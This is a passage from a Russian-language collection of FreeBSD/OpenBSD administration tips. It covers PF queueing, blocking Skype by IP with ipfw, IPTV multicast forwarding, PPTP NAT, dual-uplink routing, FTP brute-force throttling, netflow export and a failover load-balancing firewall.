    трафика выше чем от клиентов в локальной сети.
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any port 53 $mst queue (u_dns u_ack)
    		
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any $mst queue (u_pri u_ack)
    
       pass out quick on $ext_if inet proto udp from ($ext_if) to any port {53 123} queue u_dns
    	
       pass out quick on $ext_if inet proto udp from ($ext_if) to <sip_peers> port 5060 queue u_hipri
    
       pass out quick on $ext_if inet proto udp from ($ext_if) to any queue u_pri
    
       pass out quick on $ext_if inet proto icmp from ($ext_if) to any $mst queue u_lowpri
    
    Есть один важный момент, на котором остановлюсь подробнее. Второе правило будет
    разрешать ТСР-соединения с роутера и в том числе на 80 порт. Под это правило
    так же подпадают пакеты, отправленные с прокси-сервера, трафик, который
    фактически является HTTP-трафиком  клиентов из локальной сети. Т.к. в нашем
    случае приоритеты этих видов трафика равны (очередь u_pri), то все хорошо. Но
    если планируется назначить очереди разные (например, HTTP от локальных клиентов
    - очередь u_lowpri, а с внешнего интерфейса роутера - u_pri), тогда следует
    указать в правиле для прокси-сервера опцию user uid и поместить его над
    правилом для внешнего интерфейса роутера. Например, прокси запущен с правами
    пользователя nobody:
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any user nobody $mst queue (u_lowpri u_ack)
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any $mst queue (u_pri u_ack)
    
    Соответственно, правило, разрешающее доступ к прокси из локалной сети тоже
    немного измениться: необходимо поменять очередь с d_pri на d_lowpri.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to 127.0.0.1 port 31280 queue (d_lowpri, d_ack)
    
    Стоить отметить о наличии бага, который проявляется при использованием опции
    user. Об этом описано в секции BUGS на странице руководства pf.conf. Лично у
    меня этот баг не проявлялся. Все же старайтесь опцию user не использовать.
    
    Отладка. Отличительной способностью PF есть его протоколирование, статистика и
    мониторинг состояния в реальном времени что значительно облегчает
    конфигурирование файервола, особенно для сложных сетевых топологий.
     
    Просмотр загруженных очередей:
    
       pfctl -sq
    
    Что бы в реальном времени наблюдать загрузку очередей выполните команду:
    
       pfctl -vvsq
    
    Так же рекомендую установить из портов программу pftop, которая по аналогии с
    утилитой top выводит различную статистику PF в реальном времени.
    
     
    ----* Блокирование Skype по IP-адресам во FreeBSD   Автор: Тикунов Максим  [комментарии]
     
    Раздумывая на досуге о наболевшем вопросе как заблокировать Skype, пришла идея,
    может она здесь уже описывалась, но всё таки решил поделиться личным опытом,
    может кому и пригодится.
    
    Первый раз заблокировать Skype удалось путём перекрытия всех не нужных портов и
    кое каких правил в прокси squid, которые не давали соединятся по ip-адресам
    методом CONNECT. Но это не самый лучший вариант, так как блокируется и всё
    остальное, icq, маил агенты и т.п.
    Новая идея основана на отслеживании и блокировке IP, на которые пытается
    соединиться Skype. И так, как я это делал (шлюз работает под управлением
    FreeBSD 8.1):
    
    
    1. Нужен какой ни будь компьютер с Windows и установленным скайпом, желательно последней версии.
    
    2. Отключаем на ПК все программы, которые могли бы обратиться в интернет,
    windows update и всё остальное (что бы эти адреса не попали в дальнейшем в
    список блокируемых).
    
    3. Нужно включить скайп и залогиниться, что бы он взял с сервера базу
    ip-адресов, на которые можно соединяться. После этого выключаем его.
    
    4. На шлюзе настраиваем фаервол, что бы он блокировал весь сетевой трафик ПК с протоколированием:
    
       ipfw add 50 deny log logamount 10000000 all from ip_машины to any
    
    пояснение: все обращение с нашей машины будут сыпаться с запретом в лог, у меня /var/log/all.log.
    
    5. Включаем сбор логов и отсеиваем в отдельный файл:
    
       tail --f /var/log/all.log | grep ipfw: 50 > /usr/skype.ip
    
    6. Включаем Skype на нашем компьютере и пытаемся залогиниться.
    получаем в файле skype.ip примерно следующее:
    
       Jul  9 14:34:10 server kernel: ipfw: 50 Deny UDP 192.168.3.41:40335 217.114.226.118:37950 in via rl0
       Jul  9 14:34:11 server kernel: ipfw: 50 Deny UDP 192.168.3.41:40335 87.228.19.207:15134 in via rl0
       Jul  9 14:34:12 server kernel: ipfw: 50 Deny UDP 192.168.3.41:40335 95.52.139.143:52195 in via rl0
       Jul  9 14:34:12 server kernel: ipfw: 50 Deny UDP 192.168.3.41:40335 95.236.12.233:15842 in via rl0
    
    Это малая часть моего примера из файла. Там больше записей.
    
    7. После того, как скайп сказал, что не может соединиться, выключаем его,
    выключаем сбор логов и удаляем наше блокирующее правило под номером 50.
    
    8. Теперь нам нужно из всей этой каши отобрать IP, на которые обращался скайп и
    заблокировать в фаерволе. Я написал не большой скрипт, создаём файлик и пишем
    туда следующее:
    
       # Очищаем таблицу 1, если таковая существует.
       ipfw table 1 flush 
    
       # Запускаем считывание ip адресов(сортируем и отбираем только уникальные записи, 
       # потому что могут быть повторяющиеся), куда стучался скайп.
       awk '{print ($11)}' /usr/skype.ip | sed 's#:.*##' | sort | uniq |  while read ip; 
    
          # Добавляем поочерёдно извлечённые адреса в таблицу 1.
          do ipfw table 1 add $ip 
       done 
    
    9. Запускаем наш скрипт, если всё сделано верно, то таблица под номером 1
    должна была заполниться адресами. Это можно проверить командой
    
       ipfw table 1 list
    
    10. Всё, у нас есть таблица ip-адресов, куда соединялся скайп, теперь остаётся
    только написать правило:
    
       ipfw add 50 deny all from ip_машины to table\(1\)
    
    11. Включаем скайп на нашей машине и проверяем, что скайп не может залогиниться.
    
    Вот в принципе и всё. Проделав это, удалось заблокировать скайп, без вреда для
    других программ. Да и ещё, нужно настроить сквид, что бы тот блокировал попытку
    соединения вида CONNECT по ip-адресам. Если ваши пользователи знают адрес
    прокси сервера и порт, то они могу указать это в скайпе и тот спокойно будет
    работать через прокси. Как это сделать есть масса статей в интернете.
    
    И ещё нужно не забывать, что скайп может соединиться с сервером через другой
    компьютер, на котором запущен скайп и есть доступ в интернет. Они называются
    супернодами. Но у меня это не вышло, я запустил скайп на своём компьютере,
    залогинился и закрыл доступ другому, тот второй не смог соединиться.
    
    Есть много способов вычислить адреса на которые стучится скайп. Мой пример -
    это один из вариантов и он проверен. Как часто обновляется база ip адресов я не
    знаю, но если эту операцию проделывать несколько раз в неделю, мне кажется
    можно поддерживать базу ip адресов в актуальном состоянии.
    
     
    ----* Проброс IPTV-трафика в локальную сеть при помощи OpenBSD и пакетного фильтра PF (доп. ссылка 1)   [комментарии]
     
    Возникла необходимость обеспечения возможности просмотра IPTV сразу на
    нескольких устройствах в домашней сети. Реализации данной схемы мешало то, что
    полученный от провайдера модем имел два раздельных порта для данных и для IPTV.
    Простейшим решением было бы закорачивание IPTV-порта в домашний коммутатор, но
    такая схема  нарушает принципы построения безопасных систем и сулит появление
    паразитного трафика. В связи с этим было решено организовать перенаправление
    IPTV-трафика через локальный шлюз, на котором используется пакетный фильтр PF и IGMP-прокси.
    
    1. Включаем поддержку переброса между сетевыми интерфейсами мультикаст трафика, для OpenBSD:
    
       echo "multicast_router=YES" >> /etc/rc.conf.local
    
    перезагружаем систему.
    
    Активируем перенаправление мультисаст трафика:
    
       sysctl net.inet.ip.mforwarding=1
    
    в /etc/sysctl.conf сохраняем настройку "net.inet.ip.mforwarding=1".
    
    2. Устанавливаем пакет net/igmpproxy с реализацией igmp-прокси:
    
       pkg_add igmpproxy
    
    Отображаем свои сетевые настройки в файле конфигурации /etc/igmpproxy.conf:
    
       quickleave
       altnet 0.0.0.0/0    # принимаем igmp-трафик из всех подсетей
       phyint vr2 upstream  ratelimit 0  threshold 1
       phyint vr0 downstream ratelimit 0  threshold 1
       phyint pppoe0 disabled
    
    Добавляем запуск igmpproxy в /etc/rc.local, чтобы прокси запустился после перезагрузки.
    
    3. Настраиваем параметры внешнего сетевого интерфейса, через который приходит
    IPTV-поток. Для работы  igmpproxy на интерфейсе должен быть IP-адрес, для
    получения которого обычно можно использовать DHCP или назначить вручную (бывают
    случаи привязки IP к MAC-адресу телеприставки, что потребует подмены MAC-адреса
    на сетевом интерфейсе шлюза).
    
    4. Настраиваем правила для прохождения IGMP-трафика и multicast-потока в
    пакетном фильтре PF (в нашем случае - это UDP трафик на 5002 порт).  Основной
    проблемой, возникающей в процессе настройки, является то, что в IGMP пакетах
    используется опция протокола IP "Router Alert", которая по умолчанию вычищается
    из пакетов при использовании PF (для отключения чистки расширенных опций
    необходимо использовать параметр allow-opts). В pf.conf добавляем примерно следующее:
    
       LAN  = "vr0"
       IPTV = "vr2"
    
       block on $IPTV
       pass in on $IPTV inet proto udp from any to any port 5002
       pass on {$LAN, $IPTV} proto igmp allow-opts
    
     
    ----* Трансляция PPTP (GRE) на шлюзе с PF (доп. ссылка 1)   Автор: Князь  [комментарии]
     
    Как известно, межсетевой экран PF, портированный в FreeBSD из OpenBSD, не может
    корректно транслировать (NAT) GRE-протокол и, к примеру, из локальной сети
    невозможно создать несколько одновременных соединений к внешнему серверу VPN PPTP.
    
    Одним из способов решения проблемы является трансляция PPTP-соединений родным
    IPFW с "ядерным" NAT. При этом вовсе необязательно компилировать ядро. Все
    описанные действия проверены в FreeBSD версии 7.2. Но должно работать и в
    других версиях, где есть поддержка "ядерного" NAT для IPFW.
    
    В /etc/rc.conf добавляем
    
       #Включаем IPFW
       firewall_enable="YES"
       # Подгружаем модуль ядра ipfw_nat
       firewall_nat_enable="YES"
       # Указываем путь к скрипту загрузки правил
       firewall_script="/etc/ipfw.script"
    
    Создаем файл /etc/ipfw.script
    
       #!/bin/sh
       
       /sbin/ipfw -q /dev/stdin <<RULES
       flush
       #em0 - внешний интерфейс шлюза
       nat 10 config if em0
       #Правила для трансляции PPTP-соединения
       add 10 nat 10 gre from any to any
       add 11 nat 10 tcp from any to any dst-port pptp
       add 12 nat 10 tcp from any pptp to any
       # Разрешаем весь трафик
       add allow all from any to any
      
       RULES
    
    Делаем скрипт исполняемым
    
       # chmod +x /etc/ipfw.script
    
    Добавляем в правила PF
    
       # Запрещаем PF транслировать PPTP-соединения
       no nat on $external_if proto gre all
       no nat on $external_if proto tcp from any to any port = pptp
       no nat on $external_if proto tcp from any port = pptp to any
       ... skip ...
       
       # Пропускаем PPTP-соединения
       pass quick on $external_if inet proto tcp from any to any port 1723
       pass quick on $external_if inet proto tcp from any port 1723 to any
       pass quick on $external_if inet proto gre from any to any
    
    После всех сделанных изменений перезагружаемся.
    
     
    ----* Распределение трафика между двумя каналами во FreeBSD (доп. ссылка 1)   Автор: pehlle  [комментарии]
     
    Во FreeBSD 7 появилась возможность задания множественных таблиц маршрутизаций.
    В ядре отвечает за это опция:
    
        options ROUTETABLES=[количество таблиц]
    
    Распределения трафика будет осуществляться средствами пакетного фильтра ipfw.
    
    Задаем маршруты по умолчанию:
    
        setfib 0 route add default 1.0.1.1 # таблица по умолчанию
        setfib 1 route add default 1.1.1.1 # новая таблица
    
    Файл конфигурации для запуска ipfw:
    
        cmd="/sbin/ipfw"
        $cmd add 10 check-state
        $cmd add 20 prob 0.5 setfib 0 tcp from 192.168.0.0/16 to not 192.168.0.0/16 setup keep-state
        $cmd add 30 setfib 1 tcp from 192.168.0.0/16 to not 192.168.0.0/16 setup keep-state
        $cmd add 40 allow all from any to any
    
    Таким образом мы задаем распределение трафика 50/50. Если каналы не равноценные
    то нужно выставить процентную весомость этих каналов.
    
    Трансляция адресов (NAT).
    
    Под эту задачу я выбрал ipnat, реализацию NAT от фаервола ipf.
    
    пример /etc/ipnat.rules:
    
        map vlan0 192.168.0.0/16 -> 1.0.1.1/32
        map tun0 192.168.0.0/16 -> 1.1.1.1/32
    
    Также можно выбрать демон natd или новый, работающий на уровне ядра, NAT,
    который появился во FreeBSD 7.
    
     
    ----* Борьба с перебором паролей на FTP сервере при помощи пакетного фильтра PF (доп. ссылка 1)   [комментарии]
     
    Для предотвращения bruteforce-атак по подбору паролей во FreeBSD или OpenBSD можно использовать 
    возможность пакетного фильтра PF по лимитированию числа соединений за единицу
    времени в сочетании с блокировкой по таблицам.
    
    Добавляем в /etc/pf.conf
    
       # Подключаем ранее составленный список заблокированных за излишнее число коннектов IP
       table <ftp-attacks> persist file "/etc/pf.ftp.block.list"
     
       # Блокируем все входящие соединения с IP, которые присутствуют в черном списке
       block in quick on $ext_if from <ftp-attacks>
     
       # Выявляем IP с которых было более 5 обращений за 40 секунд 
       # и добавляем этот IP в ранее созданную таблицу блокировки
       pass in quick on $ext_if inet proto tcp from any to ($ext_if) port 21 keep state (max-src-conn-rate 5/40, overload <ftp-attacks> flush global)
    
    Перечитываем конфигурацию PF:
       /etc/rc.d/pf reload
    или
       /sbin/pfctl -f /etc/pf.conf 
    
    Далее, чтобы сохранить созданную таблицу блокировки между перезагрузками, необходимо добавить
    в /etc/rc.shutdown код для сброса в файл состояния таблицы перед завершением работы:
       /sbin/pfctl -t ftp-attacks -T show > /etc/pf.ftp.block.list
    
    Для удаления определенного IP (например, 192.168.1.1) из таблицы:
       /sbin/pfctl -t ftp-attacks -T delete 192.168.1.1
    
    Для добавления IP или подсети вручную:
       /sbin/pfctl -t ftp-attacks -T add 192.168.1.1
       /sbin/pfctl -t ftp-attacks -T add 192.168.1.0/24
    
    Для полной очистки таблицы
       /sbin/pfctl -t ftp-attacks -T flush 
    
    Для загрузки таблицы из файла:
       /sbin/pfctl -t ftp-attacks -T replace -f /etc/pf.ftp.block.list
    
    Для поиска IP в таблице 
       /sbin/pfctl -t ftp-attacks -T test 192.168.1.1
    
    Для вывода более подробной статистики по каждому из IP в таблице:
       /sbin/pfctl -t ftp-attacks -T show -v
    
    Для очистки счетчиков срабатываний:
       /sbin/pfctl -t ftp-attacks -T zero
    
     
    ----* Проброс сети во FreeBSD Jail через NAT и PF (доп. ссылка 1)   [комментарии]
     
    Сервер работает под управлением FreeBSD 7 и имеет два сетевых интерфейса: 
    один для интранет сети, другой для связи с внешними миром.
    
    Задача: обеспечить доступность изолированного Jail для обоих сетей, несмотря на ограничение jail 
    по поддержке только одного интерфейса и одного IP.
    
    Решение: через NAT организовать отправку всех запросов к адресам интранет сети 10.0.0.0/8.
    
    В /etc/pf.conf на сервере прописываем:
    
       an_if="em0" # интерфейс интранет подсети
       lan_if_subnet="10.0.0.0/8"
       lan_if_ip="10.28.11.10" # IP на интранет интерфейсе em0
       jail_vps_server_ip="202.54.2.3" # Реальный IP, выделенный для Jail
       nat on $lan_if inet proto { tcp, udp, icmp } from $jail_vps_server_ip to $lan_if_subnet -> $lan_if_ip
    
    Перезапускаем PF через /etc/rc.d/pf reload
    
     
    ----* Трансляция адресов во FreeBSD средствами ng_nat (доп. ссылка 1)   Автор: Folio  [комментарии]
     
    Для работы этого примера необходимо иметь подгруженный ng_ipfw.ko
    
    Убедиться в его наличии можно командой:
    
       /sbin/kldstat| grep ng_ipfw.ko
    
    Если ng_ipfw.ko не загружен, то загружаем его:
    
       /sbin/kldload /boot/kernel/ng_ipfw.ko
    
    После того как ng_ipfw.ko подгружен, в выводе команды:
    
       /usr/sbin/ngctl list
    
    появится строчка вида:
    
       Name: ipfw Type: ipfw ID: 00000023 Num hooks: 2
    
    Без загруженного ng_ipfw.ko при попытке выполнить команды ngctl'а вы будете получать сообщение:
    
       ngctl: send msg: No such file or directory
    
    а при попытке добавить правило в ipfw получите:
    
       ipfw: getsockopt(IP_FW_ADD): Invalid argument
    
    Настройка ng_nat проста и сводится к скрипту:
    
    Для примера будем NAT'ить подсеть 172.16.5.96/27 через IP-адрес 192.168.20.8 на
    внешнем интерфейсе fxp0.
    
       #!/usr/bin/perl
    
       $ip='192.168.20.8';
       $iface='fxp0';
       $net='172.16.5.96/27';
       $cmd=sprintf("/usr/sbin/ngctl -f - << -EOF
       mkpeer ipfw: nat 60 out
       name ipfw:60 nat
       connect ipfw: nat: 61 in
       msg nat: setaliasaddr %s
       ",$ip);
       system($cmd);
    
       ###добавляем необходимые правила в firewall
       $cmd=sprintf("/sbin/ipfw add 1000 netgraph 61 all from any to %s via %s in",$ip,$iface);
       system($cmd);
       $cmd=sprintf("/sbin/ipfw add 1010 netgraph 60 all from %s to any via %s out",$net,$iface);
       system($cmd);
    
    где:
    
    $ip - IP адрес, через который будет работать нат (который смотрит в интернет)
    $iface - ваш внешний интерфейс
    $net - IP подсеть, которую мы собираемся NAT'ить
    netgraph - правило в firewall, аналогично divert, только перенаправляет трафик не в socket, 
    а в ноду netgraph, 60, 61 - адреса исходящего и входящего хуков.
    
    Если делать руками в консоли, то команды выглядят следующим образом:
    
       ###создаем ноду nat и подключаем к ipfw
       /usr/sbin/ngctl mkpeer ipfw: nat 60 out 
       ###даем ноде имя "natA" 
       /usr/sbin/ngctl name ipfw:60 natA   
       ###соединяем входящие и исходящие хуки  для "natA"
       /usr/sbin/ngctl connect ipfw: natA: 61 in 
       ###посылаем управляющее сообщение в виде IP адреса, через который будет работать нат.   
       /usr/sbin/ngctl msg natA: setaliasaddr 192.168.20.8   
    
    Если все работает, то мы можем посмотреть вывод следующей команды:
    
       ngctl show natA:
    
    Также можно посмотреть все целиком:
    
       ngctl list
    
    Для выключения настроенного NAT нужно выполнить команду:
    
       ngctl shutdown natA:
    
    Заметка:
    
    Если вы хотите запустить NAT на нескольких внешних IP-адресах, но не забывайте изменять имена нод 
    (в примере natA) и номера хуков (в примере 60,61) т.к. они должны быть
    уникальны для каждого из процессов.
    
    Не путайте in и out в создаваемой ноде и правилах ipfw.
    
    Чтиво:
    
    man 8 ipfw
    Все о Netgraph (http://citrin.ru/netgraph/)
    man 4 netgraph
    man 4 ng_ipfw
    
     
    ----* Интернет-шлюз с использованием PF   Автор: vitalic  [комментарии]
     
    O пакетном фильтре (PF) написано довольно много статей. Вот и я хочу предложить
    свою реализацию Интернет-шлюза с
    использованием  PF. Раздача Интернета для локальной сети происходит через NAT и
    основана на Packet Tagging. Плюсом этого
    метода является то что упрощается настройка правил для FTP (ftp-proxy не
    используется), как для клиентов за шлюзом, так и для
    возможной публикации "внутреннего" ftp-сервера в мир.
    
    Для простоты приведу пример с 1 внешним и 1 внутренним интерфейсом. На шлюзе
    также запущен DNS-сервер. Пользователям
    локальной сети разрешен доступ на все порты без исключений по протоколам TCP,
    UDP, из ICMP разрешен только ping. В качестве
    ОС выступает FreeBSD7.0
    
    Для начала определим интерфейсы с помощью макросов
    
       ext_if="rl0"
       int_if="sk1"
    
       dns="ААА.ААА.ААА.ААА"
       lan="192.168.1.0/24"
    
       table <no_if> {BBB.BBB.BBB.BBB, 192.168.1.1, 127.0.0.1} persist
    
       set skip on lo
       set loginterface rl0
       set ruleset-optimization basic
       set block-policy return
       scrub in all no-df random-id
    
       ##### INET FOR LAN
    
       nat on $ext_if tag LAN_INET_NAT_TCP_UDP tagged LAN_INET_TCP_UDP -> $ext_if:0
       nat on $ext_if tag LAN_INET_NAT_ICMP tagged LAN_INET_ICMP -> $ext_if:0
    
       ######
    
       block in
       block out
       antispoof quick for { lo $int_if }
    
       ##############       EXT_IF_OUT
    
       pass out quick on $ext_if inet tagged LAN_INET_NAT_TCP_UDP
       pass out quick on $ext_if inet tagged LAN_INET_NAT_ICMP
       
       pass out quick on $ext_if inet proto {tcp udp} from $ext_if to $dns port = dns
    
       pass out quick on $ext_if inet proto icmp from $ext_if to any icmp-type echoreq
    
       ##############         EXT_IF_IN
    
       pass in quick on $ext_if inet proto tcp from any to $ext_if port = ssh synproxy state (max 10)
       pass in quick on $ext_if inet proto icmp from any to $ext_if icmp-type echoreq
    
       ##############   INT_IF_IN
    
       pass in quick on $int_if inet proto {tcp udp} from $lan to !<no_if> tag LAN_INET_TCP_UDP
       pass in quick on $int_if inet from $lan to $int_if
    
       pass in quick on $int_if inet proto icmp from $lan to !<no_if>  icmp-type echoreq tag LAN_INET_ICMP
       pass in quick on $int_if inet proto icmp from $lan to $int_if icmp-type echoreq
    
    
    
    Пояснения.
    
    Пришедшие на внутр. интерфейс пакеты "метятся". Метятся только те пакеты, у
    которых dst addr любой, кроме всех внутренних и
    внешних интерфейсов. Это необходимо, если есть несколько подсетей и вы не
    хотите, что бы кто-либо из одной сети мог
    подключится к висящему сервису на другом интерфейсе.
    
    Впринципе здесь можно  вместо  !<no_if> указать any.
    Весь исходящий трафик с сервера в "мир" (кроме ДНС) и локальную сеть блокируется.
    
    ААА.ААА.ААА.ААА - IP DNS-сервера провайдера.
    
     
    ----* Экспорт Netflow средствами netgraph во FreeBSD   Автор: VS  [комментарии]
     
    При сборке ядра указываем:
    
       options		IPFIREWALL
       options		NETGRAPH
       options		NETGRAPH_SOCKET
       options		NETGRAPH_IPFW
       options		NETGRAPH_NETFLOW
       options		NETGRAPH_KSOCKET
    
    либо подгружаем модули:
    
       kldload ipfw.ko
       kldload netgraph
       kldload ng_socket
       kldload ng_ipfw
       kldload ng_netflow
       kldload ng_ksocket
    
    
    для их автозагрузки в /boot/loader.conf добавляем: 
    
       ipfw_load="YES"
       ng_netflow_load="YES"
       ng_socket_load="YES"
       ng_ksocket_load="YES"
       ng_ipfw_load="YES"
    
    
    в ipfw правила
    
       ipfw add 02210 netgraph 100 ip from any to any via vlan108
       ipfw add 02220 netgraph 100 ip from any to any via vlan208
    
    Скрипт, для поднятия netflow:
    
    #!/bin/sh
    . /etc/rc.subr
     
    name="ngnetflow"
    rcvar=`set_rcvar`
    
    load_rc_config $name
    : ${ngnetflow_enable="NO"}
    : ${ngnetflow_src="127.0.0.1:9999"}
    : ${ngnetflow_dst="127.0.0.1:9996"}
    
    start_cmd="ngnetflow_start"
    stop_cmd="ngnetflow_stop"
    
    ngnetflow_start() {
    
    /usr/sbin/ngctl -f- <<-SEQ
    mkpeer ipfw: netflow 100 iface0
    name ipfw:100 netflow
    connect ipfw: netflow: 108 out0
    msg netflow: setdlt { iface=0 dlt=12 }
    msg netflow: settimeouts { inactive=30 active=600 }
    mkpeer netflow: ksocket export inet/dgram/udp
    name netflow:export flowexp
    msg flowexp: bind inet/${ngnetflow_src}
    msg flowexp: connect inet/${ngnetflow_dst}
    SEQ
    
    }
    
    ngnetflow_stop() {
    /usr/sbin/ngctl -f- <<-SEQ
    shutdown netflow:
    SEQ
    }
    
    run_rc_command "$1"
    
     
    ----* Как сделать отказоустойчивый брандмауэр с распределением нагрузки на FreeBSD (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Задача: 
    
    Сконфигурировать два или более отказоустойчивых брандмауэра на базе IPF с
    функцией балансировки нагрузки
    (далее - "FWLB") для кластера, предоставляющего сервис в сети Интернет.
    Если один из брандмауэров приходит в негодность, то его функции будет выполнять второй. 
    В этом случае мы получим высокодоступную систему с черезвычайно малым временем простоя и, 
    как мы надеемся, сэкономит немало средств на специализированных устройствах.
    	  
    Наша задача - получить нижепреведенную конфигурацию:
    
    
                             ~~~
                           ( net )
                             ~~~
                              |
                              |
                              |
                          ----------
                         |  switch  |
                          ---------- 
                          /        \
                         /   VIP    \
                 ---------         --------
                |  fwlb1  |       | fwlb2  |
                 ---------         --------
                        \    VIP   /
                         \        /
                          ---------
                         | switch |
                          ---------
                          /      \ 
                         /        \
                  ---------        ---------
                 | server1 |      | server2 |
                  ---------        ---------
    
                   
    Где первый VIP (Virtual IP) это публичный IP адресс вашего сайта, 
    а второй - приватный IP согласно RFC 1918, который будет использоваться 
    серверами в качестве шлюза по умолчанию.
    
    
    Требования:
    
    - Два сервера с FreeBSD-STABLE. У каждого из них - по 2 сетевые карты
    - Два коммутатора/хаба
    - Два или более серверов для кластера, на котором запущен предоставляемый сервис
    - /usr/ports/net/pen
    - /usr/ports/net/freevrrpd
    - /usr/ports/sysutils/daemontools или /usr/ports/sysutils/runit
    - Ядро, скомпилированное с опциями IPFILTER и IPFILTER_LOG
    
    
    Pen является простым, но гибким балансировщиком.
    FreeVRRPd будет обеспечивать отказоустойчивость. 
    Daemontools(или runit, с более дружественной лицензией и похожим функционалом)
    не является необходимым,
    но весьма полезен для контроля и управления процессами, поэтому тоже рекомендован к использованию.
    	
    Выполнение:
    
    Часть 1: Брандмауэр
    
    Создайте набор правил IPF(или IPFW, или PF), разрешающий трафик на стороне сервиса, 
    который нуждается в балансировке. По желанию, разрешите доступ к кластеру серверов через NAT, 
    если есть необходимость в исходящих соединениях.  Конфигурирование IPF/IPNAT не
    рассматривается в данной статье,
    но на эту тему написано достаточно много. Два пункта, которые очень важно иметь в виду, 
    заключаются в том, что вам необходимо удостовериться, что разрешен multicast между брандмауэрами 
    (необходимо для работы VRRP) и запрещен для всех других хостов (иначе возникнет
    угроза безопасности).
    Для получения ополнительной информации по IPF, обратитесь к:
                   
     http://www.nwo.net/ipf/ipf-howto.html
     http://coombs.anu.edu.au/~avalon/ip-filter.html   
            
    Скомпилировав ядро с опциями, указанными выше, вносим следующие изменения в /etc/rc.conf:
                
                    ipfilter_enable="YES"
                    ipfilter_rules="/etc/ipf.conf"
                    ipnat_rules="/etc/ipnat.conf" 
                    ipnat_flags="-CF"
                    ipmon_enable="YES"
    
    И переносим набор правил в указанные места.
    
    
    
    Часть 2: Балансировщик
    
    1) Создаем необходимых пользователей и каталоги.
    
            mkdir -p /etc/supervise/pen/log
            mkdir -p /var/chroot/pen
            mkdir -p /var/log/pen
            pw useradd pen -s /bin/false -d /var/chroot/pen
            pw useradd penlog -s /bin/false -d /var/chroot/pen
            chown penlog:pen /var/log/pen
    
    2) Создаем файлы, необходимые для запуска pen.
    
            cd /etc/supervise/pen
            cat << _EOF_ > run
            #!/bin/sh
    
            exec 2>&1
            exec pen -d -u pen -j /var/chroot/pen -C localhost:8888 -f -r 80 hostname1 hostname2
    
            _EOF_
            chmod 755 run
            cd log
            
            cat << _EOF_ > run
            #!/bin/sh
            
            exec /usr/local/bin/setuidgid penlog /usr/local/bin/multilog s999999 n20 /var/log/pen
    
            _EOF_
            chmod 755 run
    
    
    Так мы сконфигурируем pen для запуска в pen в /var/chroot/pen и портом управления 8888. 
    Он будет балансировать входящий 80 порт на порт 80 hostname1 на hostname2. 
    Тип балансировки - round-robin - если необходимы постоянные сессии, удалите флаг "-r".
    В этом примере pen запущен в режиме отладки, что упростит настройку. 
    При промышленном использовании можно удалить флаг "-d". 
          
    3) Запуск балансировщика нагрузки.
    
            cd /service
            ln -s /etc/supervise/pen
            echo "csh -cf '/usr/local/bin/svscanboot &'" >> /etc/rc.local
            csh -cf '/usr/local/bin/svscanboot &'
            sleep 5 && svstat pen
    
    Теперь вы с помощью браузера можете удостовериться, что балансировка работает.
    
    Так же изучите /var/log/pen/current на обоих брандмауэрах.
    
    
    
    Часть 3: Отказоустойчивость
    
    1) Сперва сконфигурируйте syslog для сбора сообщений VRRP.
    
            touch /var/log/freevrrpd.log
            cat << _EOF_ >> /etc/syslog.conf
    
            !freevrrpd
            *.*                     /var/log/freevrrpd.log
    
            _EOF_
    
    
    2) Конфигурирование FreeVRRPd
           
    До этого пункта, обе машины были равноправны.    Теперь вам необходимо выбрать,
    какой FWLB будет primary.
    На этой машине скопируйте /usr/local/etc/freevrrpd.conf.sample в /usr/local/etc/freevrrpd.conf. 
    
    Отредактируйте файл, как показано ниже:
    
            # public-facing VRID
            [VRID]
            serverid = 1
            interface = fxp0
            priority = 255
            addr = 198.123.111.1/32
            password = vrid1
            vridsdep = 2
    
            # backend VRID
            [VRID]
            serverid = 2
            interface = fxp1
            priority = 255
            addr = 10.0.0.1/32
            password = vrid2
            vridsdep = 1
    
    В результате мы получим 2 VRID - один для внешней сети, второй для внутренней, 
    который будет использоваться кластером серверов.
    В этом примере оба VRIDs сконфигурированы, чтобы считать этот хост главным при выборах VRRP.
                   
    Заметьте - оба VRID зависят друг от друга, что определено полем "vridsdep". 
    Это означает, что, если один из интерфейсов в FWLB падает, другой автоматически
    перейдет в резервный режим,
    переводя оба интерфейса на резервный FWLB. 
    
    Это позволит избежать попыток отправить данные через брандмауэр с упавшим внешним интерфейсом.
    
    Теперь вы должны скопировать этот файл на slave FWLB, и изменить оба поля
    priority на значение 100.
    Измените пароль на что-то более безопасное, чем на примере, но особо не
    расчитывайте на пароли VRRP
    в плане безопасности. Если другой брандмауэр, находящийся вне связки сможет
    общаться с вашими по VRRP,
    то у вас будут проблемы.
      
    3) Запуск FreeVRRPd
    
    Теперь вы можете запустить freevrrpd на обоих брандмуэрах:
    
            cp /usr/local/etc/rc.d/freevrrpd.sh{.sample,}
            /usr/local/etc/rc.d/freevrrpd.sh start
    
    
    Часть 4: Проверка отказоустойчивости
    
    Теперь нам необходимо проверить получившуюся систему на отказоустойчивость. 
    Сперва только надо запустить на обоих FWLB SSH, чтобы была возможность 
    проверять правильность переключения интерфейсов. Попробуйте следующие сценарии:
    
      - С одной из машин кластера залогиньтесь по SSH на 10.0.0.1(внутренний интерфейс). 
        Убедитесь, что это именно master FWLB.
      - Сделайте попытку соединения на 198.123.111.1(внешний интерфейс), порт 80 и 
        посмотрите /var/log/pen/current, чтобы проверить факт соединения. 
      - Отключить внешний интерфейс FWLB1.
      - Проверьте логи на FWLB2.  Сделайте попытку соединения на 198.123.111.1, 
        порт 80, чтобы проверить факт соединения.
      - Зайдите по SSH на 10.0.0.1.  Вы должны увидеть FWLB2 в баннере SSH.
      - Подключите внешний интерфейс к FWLB1.  Проверьте, что оба интерфейса FWLB1 вернулись в состояние master.
    
    Теперь повторите тест, отключая внутренний интерфейс. Если есть такое желание, 
    то можно просто нажать Reset на FWLB1.
           
    Примечания:
    
    Удаление серверов из пула:
    
    Pen не может перманентно удалить сервера из пула, но мы можем указать ему игнорировать сервер, 
    пока, например, идет его обновление или что-то подобное. Для этого выполните команду:
    
       penctl localhost:8888 server $servername blacklist 99999
    
    Это поместит сервер в черный список на 99999 секунд. Для возвращения сервера в
    пул выполните команду:
    
       penctl localhost:8888 server $servername blacklist 1
    
    Так мы выставим таймаут черного списка в 1 секунду, после чего сервер вернется в пул.
    
    Перманентное удаление или добавление серверов в пул:
    
    В случае, если есть необходимость добавить или удалить из пула несколько серверов, 
